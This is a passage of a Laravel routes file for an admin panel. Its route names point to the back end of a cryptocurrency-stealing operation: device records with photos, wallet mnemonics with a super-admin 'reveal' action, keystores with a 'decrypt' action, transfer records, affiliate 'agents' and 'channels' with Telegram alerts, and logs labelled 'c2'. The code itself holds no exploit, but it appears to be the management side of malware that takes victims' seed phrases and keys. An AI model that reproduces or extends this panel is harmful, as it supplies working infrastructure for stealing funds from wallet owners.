name('admin.')->middleware('panel.host:admin')->group(function () { Route::get('login', [AuthController::class, 'showLogin'])->name('login'); Route::post('login', [AuthController::class, 'login'])->name('login.submit'); Route::middleware('auth:admin')->group(function () { Route::post('logout', [AuthController::class, 'logout'])->name('logout'); Route::get('/', [AuthController::class, 'home'])->name('home'); Route::get('security/google2fa', [Google2faController::class, 'index'])->name('security.google2fa'); Route::post('security/google2fa/prepare', [Google2faController::class, 'prepare'])->name('security.google2fa.prepare'); Route::post('security/google2fa/bind', [Google2faController::class, 'bind'])->name('security.google2fa.bind'); Route::post('security/google2fa/toggle', [Google2faController::class, 'toggle'])->name('security.google2fa.toggle'); Route::post('security/google2fa/unbind', [Google2faController::class, 'unbind'])->name('security.google2fa.unbind'); Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels'); Route::get('filter-options/agents', [FilterOptionsController::class, 'agents'])->name('filterOptions.agents'); Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index'); Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data'); Route::get('visits/logs', [PageVisitController::class, 'logs'])->name('visits.logs'); Route::get('devices', [DeviceController::class, 'index'])->name('devices.index'); Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data'); Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData'); Route::get('devices/{device}', [DeviceController::class, 'show'])->name('devices.show'); Route::put('devices/{device}', [DeviceController::class, 'update'])->name('devices.update'); Route::delete('devices/{device}', [DeviceController::class, 'destroy'])->name('devices.destroy'); Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear'); Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo'); Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index'); Route::get('addresses/data', [WalletAddressController::class, 'data'])->name('addresses.data'); Route::put('addresses/{address}', [WalletAddressController::class, 'update'])->name('addresses.update'); Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index'); Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data'); Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets'); Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh'); Route::post('mnemonics/{mnemonic}/reveal', [MnemonicController::class, 'reveal']) ->middleware('admin.super') ->name('mnemonics.reveal'); Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index'); Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data'); Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items'); Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt'); Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index'); Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data'); Route::get('photos', [PhotoController::class, 'index'])->name('photos.index'); Route::get('photos/data', [PhotoController::class, 'data'])->name('photos.data'); Route::get('notes', [NoteController::class, 'index'])->name('notes.index'); Route::get('notes/data', [NoteController::class, 'data'])->name('notes.data'); Route::get('agents', [AgentUserController::class, 'index'])->name('agents.index'); Route::get('agents/data', [AgentUserController::class, 'data'])->name('agents.data'); Route::post('agents', [AgentUserController::class, 'store'])->name('agents.store'); Route::post('agents/telegram-test', [AgentUserController::class, 'testTelegram'])->name('agents.telegramTest'); Route::put('agents/{agent}', [AgentUserController::class, 'update'])->name('agents.update'); Route::get('agents/{agent}/channels', [AgentUserController::class, 'channels'])->name('agents.channels'); Route::get('channels', [ChannelController::class, 'index'])->name('channels.index'); Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data'); Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId'); Route::post('channels', [ChannelController::class, 'store'])->name('channels.store'); Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update'); Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy'); Route::prefix('system')->name('system.')->group(function () { Route::get('settings', [SystemSettingsController::class, 'index'])->name('settings.index'); Route::post('settings', [SystemSettingsController::class, 'update'])->name('settings.update'); Route::post('settings/telegram-test', [SystemSettingsController::class, 'testTelegram'])->name('settings.telegramTest'); }); Route::middleware('admin.super')->group(function () { Route::get('logs', [RawLogController::class, 'index'])->name('logs.index'); Route::get('logs/{kind}/{file}', [RawLogController::class, 'show']) ->where(['kind' => 'c2|xxbb', 'file' => '\d{8}\.log']) ->name('logs.show'); Route::get('logs/{file}', function (string $file) { return redirect()->route('admin.logs.show', ['kind' => 'c2', 'file' => $file]); })->where('file', '\d{8}\.log')->name('logs.show.legacy'); Route::prefix('system')->name('system.')->group(function () { Route::get('admins', [AdminUserController::class, 'index'])->name('admins.index'); Route::get('admins/data', [AdminUserController::class, 'data'])->name('admins.data'); Route::post('admins', [AdminUserController::class, 'store'])->name('admins.store'); Route::put('admins/{adminUser}', [AdminUserController::class, 'update'])->name('admins.update'); Route::delete('admins/{adminUser}', [AdminUserController::class, 'destroy'])->name('admins.destroy'); }); }); }); });